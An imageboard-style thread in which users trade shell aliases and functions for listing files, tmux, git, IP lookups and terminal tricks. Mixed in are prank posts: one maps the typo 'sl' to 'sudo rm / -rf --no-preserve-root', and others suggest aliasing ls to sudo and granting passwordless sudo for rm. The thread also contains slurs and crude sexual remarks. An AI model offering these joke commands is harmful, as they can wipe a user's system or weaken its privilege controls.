Post your favorite shell aliases

Post your favorite shell aliases

alias myip="ifconfig | grep "inet " | grep -Fv 127.0.0.1 | awk '{print "My IP: " $2}' "

Other urls found in this thread:

github.com/nvbn/thefuck
linx.li/upload/
imagefap.com/photo/[0-9]\ /'
twitter.com/NSFWRedditImage

alias emacs="vim"

alias chad = reboot to windows

alias sl="sudo rm / -rf --no-preserve-root"
keeps me on edge

alias ayy='echo "lmao"'

alias weather ='curl wttr.in/cityname
alias ls="ls -G"

for linux
alias ls="ls --color=auto"

end your quotations '

alias bsd="screenfetch -A FreeBSD"
alias gpp="g++"
alias takbir="echo Allahu Akbar"

alias lal='grc /bin/ls -A --escape -l -p -h --time-style=long-iso --color=always -F --group-directories-first -v'
alias ll='grc /bin/ls -1 --escape -p --color=always -F --group-directories-first -v'
alias lil='grc /bin/ls --escape -l -p -h --time-style=long-iso --color=always -F --group-directories-first -v'
alias la='ls -AF -p'
alias l='ls -CF -p'
alias dfusage="grc df -kTh -x tmpfs -x devtmpfs"
alias fsize='du -x -L -d 0 -h'
alias tmux-ls='\tmux list-sessions -F "[1;34m#S: [0m[Born: #{session_created}], [WINS: #{session_windows}], [#{window_width}x#{window_height}], [CMD: [1;35m#{pane_current_command}[0m], [Attached: #{session_attached}]" 2> /dev/null || echo "[1;31mThere are no tmux sessions running.[0m"'
alias pushall='git add . && read -p "Edit commit message: " message && git commit -m "$message" && git push'
alias stopwatch='echo "Stopwatch started. Stop with Ctrl-D." && date && time cat && date'
alias dc='P=(" " █ ░ ▒ ▓); while :; do printf "\e[$[RANDOM%LINES+1];$[RANDOM%COLUMNS+1]f${P[$RANDOM%5]}"; done'
↓ best alias EVAR
alias lgbtize='(for ((i=0,n=$(tput colors);i

you really should use "ip addr" instead of ifconfig. ifconfig is /sbin/, ip is /bin/ (at least on my system).

you can also do less damage with "ip addr" if your syntax fucks up.

alias vim=nvim

alias feh='feh -g 640x480 -B black'
alias cc='gcc -ansi'

>tfw comfy Debian handled symlinks make vi/vim and all related commands point to nvim

alias ls='ls -G'
or
alias ls='ls --color=auto'

literally this

alias fucking=`sudo`

So that I can:
apt install foo
Permission denied.
fucking !!
Enter sudo password:

...

# stfu: force certain processes to run silently in the background
stfu() {
exec "$@" 1>/dev/null 2>/dev/null &
}
alias eog='stfu eog'
alias evince='stfu evince'
alias gimp='stfu gimp'
alias lyx='stfu lyx'
alias nautilus='stfu nautilus'
alias parole='stfu parole'
alias picard='stfu picard'
alias ristretto='stfu ristretto'
alias totem='stfu totem'

...

I see you my dude. I'm lost without eix too.

Explain? Why put in background?

alias fuck='sudo $(history -p \!\!)'

you should also add alias ls="sudo ls" so it if it asks for root permissions you won't know whether it is rm or ls

cute

you want your terminal to become useless just because you opened an image in gimp?

alias ano...='sudo'

Otherwise it will lock up the terminal and spew out a bunch of logging info.

Omg, I've always hated this and it was annoying cause if you posed the terminal, it would close the program too. Thank you :)

At least someone with brain here.

I do this, but for xdg-open and then I don't have to do it for every application.
I alias it to 'q' because it is short and convenient

nice

can't you just do

gimp &

>alias ayy='echo "lmao"'
I'm keeping that :^) Thanks bruh

These are good I'm taking about half

alias myip="dig +short myip.opendns.com @resolver1.opendns.com"
alias jwine="LC_ALL=ja_JP.utf8 wine"
alias wine32="WINEPREFIX=~/.wine32 WINEARCH=win32 wine"

reboot: Operation not permitted

Still get the stdout on your terminal which is really annoying

# Aliases
alias ls="ls --color"
alias e="exit"
alias cl="clear"
alias emacs="emacs -nw"

alias wpc="feh --randomize --bg-scale ~/Pictures/Wallpapers/Muted/*"
alias play="feh --bg-scale ~/Pictures/Wallpapers/moviePaper.jpg && mpv"
# alias mpv="mpvNoTerm"
alias ace="~/.i3/aceStream.sh"
alias startx="startx &> ~/.xLogFile"
alias volume="amixer -D pulse sset Master"
alias machines="cat ~/remoteMachines"

#tmux aliases
alias create="tmux -2 new -s"
alias join="tmux new-session -t"
alias tls="tmux ls"
alias tkill="tmux kill-session -t"

alias emacs="emacsclient -c --alternate-editor=''"
alias vi=emacs
alias vim=emacs
alias nano=emacs

alias shakeandbake=" configure && make && sudo make install"

alias cat='less'

check'd and kek'd

gimp &>/dev/null & disown
The disown also makes it so if you close the terminal, gimp keeps running. I have this alias
dis() {
$* &>/dev/null & disown
}

not putting your IP in your status bar
>mfw

BEST ONE, thank you.

alias .. = "cd .."

I know everyone is memes but I use this must often

>not having the choo choo train

shopt -s autocd

mkcd () {
mkdir -p $1;
cd $1;
}

alias cutestboy="/home/"

alias cat='echo =^_^='

>alias emacs="emacs -nw"
Patrician taste user

>he has "." in PATH
security hole much?

I want her inside me

>doesnt even work for filenames with whitespace
I am so disappoint my penis fell off

>backticks
I anyone here not a retard?

github.com/nvbn/thefuck

>using filenames with whitespace

>assuming all inputs to his functions will always be sane
no U are the retard

Stop using aliases you degenerates. Write functions.

functions spawn subshells you mong

user, Have you ever lost code to system failure?

>implying any of the 14 year old Sup Forumstards who spend hours tuning loonix and watching chinese cartoons have written a single line of production code

Yes, SSD died spontaneously and I lost the firmware for my fan controller. Luckily it was done and already flashed, I made a backup of the binary by reading it from the board.

colored out:
alias ls='ls -sh1 --color=auto'
alias grep='grep --color=auto'
alias diff='diff --color=auto'
alias dmesg='dmesg --color=auto'
alias tree='tree -C'
alias dir='dir --color=auto'
alias egrep='egrep --color=auto'
alias fgrep='fgrep --color=auto'
alias ip='ip -c'
alias pcregrep='pcregrep --color=auto'
alias vdir='vdir --color=auto'
alias watch='watch --color'
alias cower='cower --color=auto'
alias pacman='pacman --color auto'
alias pactree='pactree --color'
alias mc="mc -b"
alias mocp='mocp -T blackwhite'

functions:
function mdd(){
mkdir $1 && cd $1
}
function webm(){
ffmpeg -i $i -c:v libvpx -b:v 1M -c:a libvorbis $o
}
function git_gud(){
git add $1
git commit -m $2
git push origin $3
}
linx(){
curl -T "$@" -H "Linx-Randomize: yes" linx.li/upload/
}

aliases:
alias syy="sudo pacman -Syy"
alias syu="sudo pacman -Syu"
alias clear_cache="sudo paccache -rk0"
alias gitg='git log --graph --oneline --decorate --all'
alias gs="git status"
alias youtube-dl="youtube-dl -o '%(title)s.%(ext)s'"
alias mp3='youtube-dl -x --audio-format "mp3" --audio-quality 0 --embed-thumbnail $*'
alias fuck='sudo $(history -p \!\!)'
alias listw='iwlist wlp6s0 scan'

alias :q="exit"

alias cls='clear'

I always sperg out when somebody types "clear". ctrl+L does the same thing.

Same with `exit`. ^D does the same thing.

duh="du -h * | sort -h"

dusage ()
{
du -x -d 2 -h "$@" | sort -h | less
}

killwindow(){
pid=$(xprop | grep "_NET_WM_PID")
pid=${pid#*=}
pid=${pid#* }
kill "$@" "$pid"
}

randomfap(){
curl -s "$(curl -s "imagefap.com/random.php" | grep -o 'imagefap.com/photo/[0-9]\ /' | shuf -n 1 )" | grep 'mainPhoto' | grep -Po '(?

>-x -d 2
>less

?

nohup

alias clear='printf "\033c"'

Here's one I use...


alias k='cd && clear && screenfetch -N'

Run
>lgbtize
>dc

alias g++="clang"'

>backtick
you mean ```grave accent'''????

alias emerge-world="sudo emerge -avuUDNt --with-bdeps=y --keep-going @world"
alias xclip='xclip -selection c'
alias newpass="pwgen -syn1 64 | tr -d '[:space:]' | xclip"
alias open='xdg-open'
alias cd..='cd ..'
function ffmpegmp3() { ffmpeg -i $1 -acodec mp3 `echo $1 | sed 's/wav//'`.mp3; }
alias fuckmacfiles="find . -type f | grep "\._" | sed -e 's/ */\\\ /g' | xargs rm"

#!/bin/sh
[ "$TERM" = "xterm" ] && TERM="xterm-256color"
printf '\033]2;'WEABOO!'\007'
clear
while :
do
tput setab $(shuf -i 0-255 -n 1)
tput setaf $(shuf -i 0-255 -n 1)
echo ""
tput ed
tput sgr0
done

alias mansplain='man'

kek

Why didn't I think of that?

ls="echo *"
less="more"
head="sed 10q $@"
gcc="tcc"
vim="acme"

don't forget to NOPASSWD rm in sudoers.

UN1X V373r4N

kek

nice thanks. stealing some

I could really use this for nautilus, thank you user

>what is tmux

Quote your variables.

Double quotes inside of double quotes?

alias d='cd ~/Downloads/'
alias ...='cd ../..'
alias sf='printf "\033c"; screenfetch'
alias z='printf "\033c"'
alias ..='cd ..'
alias .b='vim ~/.bashrc && source ~/.bashrc'
alias gw='echo "$(shuf -n 30 /usr/share/dict/cracklib-small --random-source=/dev/urandom | tr '\''\n'\'' '\'' '\'')"'
alias cpusage='mpstat | awk '\''$12 ~ /[0-9.]+/ { print 100 - $12"%" }'\'''
alias myip='curl ipinfo.io/ip'
alias mpva='mpv --lavfi-complex="[aid1] asplit [ao] [vis];[vis] showspectrum=size=1000x600:overlap=1:slide=scroll:scale=cbrt,setdar=dar=16/9 [vo]" --no-video'
cheat(){ curl "cheat.sh/$1"; }
alias ud="yaourt -Syu --noconfirm"
alias is="yaourt -S"
alias fp="yaourt -s"
alias cs="yaourt -Scc"
alias terry="mpv templeos.org/hls/templeos.m3u8"

These are my comfy aliases

>head="sed 10q $@"
>arguments in aliases
are you stupid

alias fortunesay='fortune | "$(shuf -en1 cowsay cowthink)" -W 77 -f "$(shuf -en1 /usr/share/cowsay/cows/*)" -"$(shuf -en1 b d g p s t w y)"'

All the randoms.

>not interpreting your arguments

This. The general rule is to only use functions when aliases won't cut it.

I was joking but alright.

>I was merely pretending

The alias works the same with or without the argument list.